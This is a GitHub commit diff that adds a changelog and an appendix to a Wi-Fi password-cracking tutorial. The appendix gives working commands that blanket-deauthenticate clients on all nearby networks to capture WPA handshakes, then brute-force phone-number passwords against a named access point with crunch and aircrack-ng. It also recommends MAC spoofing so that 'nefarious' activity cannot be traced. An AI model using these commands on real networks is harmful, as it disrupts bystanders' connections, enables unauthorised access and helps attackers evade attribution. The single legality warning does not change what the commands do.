-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add appendix.md and version bump to v1.1
- Loading branch information
1 parent
23e2688
commit e423fb2
Showing
3 changed files
with
155 additions
and
68 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
# Changelog | ||
|
||
## 1.1 | ||
|
||
- Add [appendix](appendix.md) | ||
- Handshake capture with `wlandump-ng` | ||
- Programatic wordlist generation with `crunch` | ||
- Macchanger info | ||
|
||
## 1.0 | ||
|
||
- Original tutorial with rolling changes for small updates and typos, etc... |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
# Appendix | ||
|
||
After the initial release of this tutorial, several people from various corners of the internet reached out with comments and suggestions. Two of the most interesting are alternative methods for capturing 4-way handshakes using `wlandump-ng` and programatically generating wordlists for Aircrack-ng using `crunch`. In an effort two keep the original tutorial short and sweet, I've included information about their wonderful suggestions here, and added a few of my own. | ||
|
||
## Capturing handshakes with `wlandump-ng` | ||
|
||
[@enilfodne](https://github.com/enilfodne) has [informed me](https://github.com/brannondorsey/wifi-cracking/issues/15) that the hashcat community has a prefered tool for capturing WPA 4-way handshakes, called `wlandump-ng`. This tool belongs to a suite of hashcat related utilities called [hcxtools](https://github.com/ZerBea/hcxtools) developed by [ZerBea](https://github.com/ZerBea), and has notable perks over `airdump-ng`. `wlandump-ng` allows you to blanket capture handshakes from every nearby network at once, hopping Wi-Fi channels in order to increase collection. | ||
|
||
|
||
```bash | ||
# clone hcxtools | ||
git clone https://github.com/ZerBea/hcxtools | ||
cd hcxtools | ||
|
||
# build and install | ||
# you will likely need to apt install the required dependencies: | ||
# https://github.com/ZerBea/hcxtools#requirements | ||
make | ||
sudo make install | ||
|
||
# blanket death connected clients from all nearby access points and listen for re-connections | ||
# replace wlan0 with your wireless device name | ||
wlandump-ng -i wlan0 -o capture.cap -c 1 -t 60 -d 100 -D 10 -m 512 -b -r -s 20 | ||
|
||
# once you've got a capture file, you can convert it to the hashcat capture format with | ||
cap2hccapx.bin capture.cap capture.hccapx | ||
``` | ||
|
||
`wlandump-ng` command-line args (use `-h` flag for full list): | ||
|
||
- `-c 1`: start in the 2.4Ghz range from channel 1 (will go to 13) | ||
- `-t 60`: stay on each channel for 60s (experiment with lower values, default is `5`) | ||
- `-d 100`: send deauth every 100 beacon frames | ||
- `-D 10`: send disassosciation packets every 10 beacons frames | ||
- `-m 512`: internal ringbuffer size, use 512 for low resource machines | ||
- `-b`: activate beaconing to last 10 probe requests | ||
- `-r`: reset deauthentication/disassosciation counter if hop loop is on channel 1 | ||
- `-s 20`: display 20 status lines | ||
|
||
**WARNING:** Using this is likely illegal in most places. See [here](https://github.com/ZerBea/hcxtools#warning) for more info. | ||
|
||
`wlandump-ng` also offers the option to run in passive mode without transmitting any deauth/disassociation frames. This is recommended if you are are sensitive to disrupting the network activity of those around you (which you should be). The trade-off is that you will capture far fewer handshakes, but this method makes the capture undetectable. | ||
|
||
```bash | ||
# run with default settings in passive mode | ||
wlandump-ng -i wlan0 -o capture.cap -p -s 20 | ||
``` | ||
|
||
## Generating wordlists with `crunch` | ||
|
||
`crunch`is a tool to generate wordlists using combinations of a given string or pattern. We can use crunch to generate a password list on-the-fly and pipe it to `aircrack-ng` without having the wordlist saved to disk. | ||
|
||
```bash | ||
# install crunch | ||
sudo apt-get install crunch | ||
``` | ||
|
||
To get an idea of how crunch works, run it from the command-line (be ready to press `ctrl-c` once it starts spewing passwords): | ||
|
||
```bash | ||
# syntax 8 8 are min-length and max-length of password to generate | ||
# 01234567890 is the set of characters to combine/permute to construct the passwords | ||
crunch 8 8 0123456789 | ||
``` | ||
|
||
``` | ||
Crunch will now generate the following amount of data: 900000000 bytes | ||
858 MB | ||
0 GB | ||
0 TB | ||
0 PB | ||
Crunch will now generate the following number of lines: 100000000 | ||
00000000 | ||
00000001 | ||
00000002 | ||
00000003 | ||
00000004 | ||
00000005 | ||
00000006 | ||
00000007 | ||
00000008 | ||
00000009 | ||
... | ||
99999999 | ||
``` | ||
|
||
We can pipe the output of `crunch` as the input to `aircrack-ng`, using the passwords that it generates as our wordlist. Here we use the `crunch` special rule character `%` to denote a digit. This command attempts to crack WPA passwords that are 10-digit phone numbers (using 102GB of numbers generated by crunch on-the-fly): | ||
|
||
```bash | ||
# we can also use -t "@^%," to use pattern '@' - replaced with lowercase ',' - replaced with uppercase | ||
# '%' - replaced with numbers and '^' - is replaced with special chars | ||
# *************** don't forget '-' at the end | ||
crunch 10 10 -t "%%%%%%%%%%" | aircrack-ng -a2 capture.cap -b 58:98:35:CB:A2:77 -w - | ||
``` | ||
|
||
Thanks to [@hiteshnayak305](https://github.com/hiteshnayak305) for the introduction to `crunch` and including this update as a [PR](https://github.com/brannondorsey/wifi-cracking/pull/17). | ||
|
||
## Macchanger | ||
|
||
Whenever you are doing anything remotely nefarious with Wi-Fi, it is a good idea to spoof your the MAC address of your Wi-Fi device so that any network traffic that gets recorded can't be tied to serial assigned by your device manufacturer. | ||
|
||
This is trivial with `macchanger`: | ||
|
||
```bash | ||
# download MAC changer | ||
sudo apt-get install macchanger | ||
|
||
# bring the device down | ||
sudo ifconfig wlan0 down | ||
|
||
# change the mac | ||
# -A pics a random MAC w/ a valid vendor | ||
# -r makes it truly random | ||
# -p restores it to the original hardware MAC | ||
sudo macchanger -A wlan0 | ||
|
||
# bring the device back up | ||
sudo ifconfig wlan0 up | ||
``` | ||
|
||
If you've got multiple cards, it might also be a good idea to do this to all of them. Or better yet, bring unused wireless interfaces down whenever you are attempting to capture handshakes, to leave as little trace as possible. Note that spoofing changes do not persist across reboots. |